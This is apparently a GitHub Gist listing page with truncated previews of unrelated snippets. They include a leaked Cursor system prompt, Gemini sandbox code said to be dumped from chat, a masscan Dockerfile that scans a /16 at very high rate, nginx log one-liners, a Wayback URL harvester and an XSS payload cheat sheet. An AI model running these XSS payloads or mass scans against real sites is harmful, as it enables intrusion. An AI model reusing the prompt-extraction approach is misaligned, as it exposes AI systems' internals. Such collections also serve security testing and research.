Skip to content

Instantly share code, notes, and snippets.

View avilum's full-sized avatar

Avi Lumelsky avilum

  • Israel
View GitHub Profile
@avilum
avilum / cursor-prompt.txt
Last active April 23, 2025 11:38
Cursor prompt template 07/04/2025
[V1]
You are a powerful agentic AI coding assistant, powered by [Claude 3.7 Sonnet]. You operate exclusively in Cursor, the world's best IDE.
Your main goal is to follow the USER's instructions at each message.
# Additional context
Each time the USER sends a message, we may automatically attach some information about their current state, such as what files they have open, where their cursor is, recently viewed files, edit history in their session so far, linter errors, and more.
Some information may be summarized or truncated.
This information may or may not be relevant to the coding task, it is up for you to decide.
@avilum
avilum / pt_interpreter.py
Last active April 6, 2025 11:15
Google Gemini Python Sandbox Source Code (dumped from chat on 12.03.2024)
# Path and cmdline:
# /usr/bin/entry/images/py_interpreter.runfiles/rules_python~0.31.0~python~python_3_10_x86_64-unknown-linux-gnu/bin/python3/usr/bin/entry/images/py_interpreter.runfiles/_main/images/py_interpreter.py--input/tmp/sandbox_in--output/tmp/sandbox_out--rpc_input/tmp/sandbox_rpc_in--rpc_output/tmp/sandbox_rpc_out
"""Executes Python code provided via a string input parameter.
This method can accept any string of one or more lines of Python code that limit
non-built-in module use to the dependencies defined for the py_type binary built
using this script.
"""
@Nuxij
Nuxij / masscan.Dockerfile
Last active June 16, 2021 01:13
[Docker] masscan on alpine
# Example:
# $ docker build -t masscan -f masscan.Dockerfile .
# $ docker run --rm -it --net=host masscan -p0-65535 192.168.0.0/16 --rate 1000000
# --net=host is optional but I saw rate limit without it
# -v $(pwd):/opt if you want to feed result files back out
FROM alpine as builder
LABEL author "Peng Liu"
LABEL email "[email protected]"
ARG MASSCAN_GIT_URL=https://github.com/robertdavidgraham/masscan
# get total requests by status code
awk '{print $9}' /var/log/nginx/access.log | sort | uniq -c | sort -rn
# get top requesters by IP
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head | awk -v OFS='\t' '{"host " $2 | getline ip; print $0, ip}'
# get top requesters by user agent
awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head
# get top requests by URL
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@kurobeats
kurobeats / xss_vectors.txt
Last active April 26, 2025 19:57
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@coriolinus
coriolinus / bin.rs
Last active June 6, 2022 05:48
Rust threaded code vs. Python's GIL: benchmarking using code from Advent of Code 2015
//! Edited version of bin.rs, hard-coding a number of cores to use instead of depending on the default,
//! which reports the total number of cores including virtual ones.
extern crate util;
use util::get_line_input;
extern crate day4lib;
use day4lib::mine_coin_with_conf;
use day4lib::CoinMiningConfig;